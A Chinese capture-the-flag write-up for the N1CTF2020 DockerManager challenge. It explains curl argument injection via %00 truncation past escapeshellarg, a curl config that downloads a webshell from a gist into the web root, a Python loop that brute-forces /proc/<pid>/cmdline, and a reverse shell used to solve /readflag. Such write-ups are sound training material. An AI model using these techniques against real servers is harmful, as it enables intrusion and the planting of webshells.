觉得这题挺有意思的,来写个 WriteUp 记录一下。
知识点:
- PHP 命令执行参数逃逸
- CURL 参数利用
- Linux 系统特性
复现地址:
https://buuoj.cn/challenges#[N1CTF2020]DockerManager
步骤:
1.下载附件,进行分析。
Dockerfile 中写明 /var/www/html/img 具有可写权限。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/160320748919d7b9598003c5f327e645f52cf95061-1024x487.png)
view.php 中写明逻辑,将输入的参数利用 escapeshellarg 转义后拼接执行。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/16032076288819ed24c2af9a46b73b3e2f148f40e2-1024x488.png)
2. 首先来测试一下能不能进行参数逃逸。
测试几种姿势都不行,最后发现 %00 能进行截断,可以把后面的内容进行截断。
截断效果如下。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603208141078b668f8410ff3e4ae0fe8225601009-1024x444.png)
那么就代表这里 host_addr 这个参数我们是完全可控的了。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603208293107eac438cfada4bc7a1ed86ada17ea1-1024x288.png)
即便它因为 escapeshellarg 两边被加上了单引号,但我们可以利用它来怼上自己想要的参数。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603209269647f41f08a407fac2e1e49d5e0e33dc9-1024x81.png)
可以看到,对于这种单字母的参数,我们在两边加不加引号都不影响其执行。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/160320938533c62555fbe1e39e805f0431760b5905-1024x847.png)
正因为这个 host_addr 所在的位置前面没有字符,后面可以利用 %00 来截断,我们可以完全控制这里的数据,我们可以插入单字母参数,使其发挥作用。
原本应该被作为请求地址处理的数据被作为参数项处理,造成了逃逸。
3.那么我们可以来看看该利用哪个参数进行利用。
看到 -K 参数,可以读入一个配置文件。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603209608ea6095163f696f91f5b7b5dbc554d0cf-1024x107.png)
到官网查找到相关文档。
https://ec.haxx.se/cmdline/cmdline-configfile
进一步查找,发现更具体的用法。
https://curl.haxx.se/docs/manpage.html
可以利用 url 访问一个地址,再用 output 输出到相应的文件里。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603209832fb3e7d70621df9f63bc84c77728fdd57-1024x439.png)
这样我们就可以不用想办法逃逸参数也可以写入 webshell 到网站目录下然后 getshell 了。
构造出来的配置文件如下:
url="https://gist.githubusercontent.com/glzjin/2c81bd6f1ef880f593ed18157400bbcb/raw/0f039d674ddf0fe026e87bf3faa56ca9a187b10f/n1ctf_docker_manager"
output="img/glzjin.php"
4.那么我们如何把这个配置文件给写到服务器上呢?利用 cmdline,每一次 php 执行 curl 命令的时候都会有一个 pid,这个 pid 在 /proc 下会有相关文件,在 /proc/<pid>/cmdline 里会有运行时的命令,我们利用带进去的参数产生的 cmdline 文件作为配置文件,是不是就相当于上传上去了呢?
但这样做进程一运行就会很快结束,无法驻留供我们长时间使用,我们有其他的办法可以让这个进程一直存在从而让 cmdline 文件一直存在呢?我们利用 curl 的 -K 参数去读取 /dev/urandom 时可以造成 curl 一直运行,因为其一直在读取配置文件,读不到头,进程则一直存在。这里除了前面的参数还有后面许许多多参数比如 cacert 等可控我们控制,我们利用这些来写入内容即可。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603210922ab7ac016ddf9f0d8e5aa1f78b5c6941b-1024x289.png)
综上,“上传”配置文件的 Payload 如下:
5.curl 的配置文件在服务器上存在之后,即可利用脚本爆破 pid,触发 curl 去访问地址 然后写 shell。
import requests
for i in range(1, 100):
r = requests.get("http://81893acd-e5b6-4fa8-9b92-90ef49877eac.node3.buuoj.cn/view.php?host=-K/proc/" + str(i) + "/cmdline%00")
print(r.text)
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603211067c1382afba7273eca007146285958ba9a-1024x304.png)
6.然后使用蚁剑连接 img 下的 webshell 即可 getshell。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603211119accc2b717a76e2db43b8176181553872-1024x724.png)
7.执行 /readflag 有个数学题。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/160321115267f3cbcf93d7daeb8699ecb8bcfa7438-1024x224.png)
弹个 shell 出来,然后 trap 之后慢慢算。
![](https://www.zhaoj.in/wp-content/uploads/2020/10/160321127687d7af28bcba4e6829869120c2875534-1024x424.png)
trap “” 14 && /readflag
![](https://www.zhaoj.in/wp-content/uploads/2020/10/1603211296e261479bc10eb36e2341e57286a860f9-1024x547.png)
Flag 到手~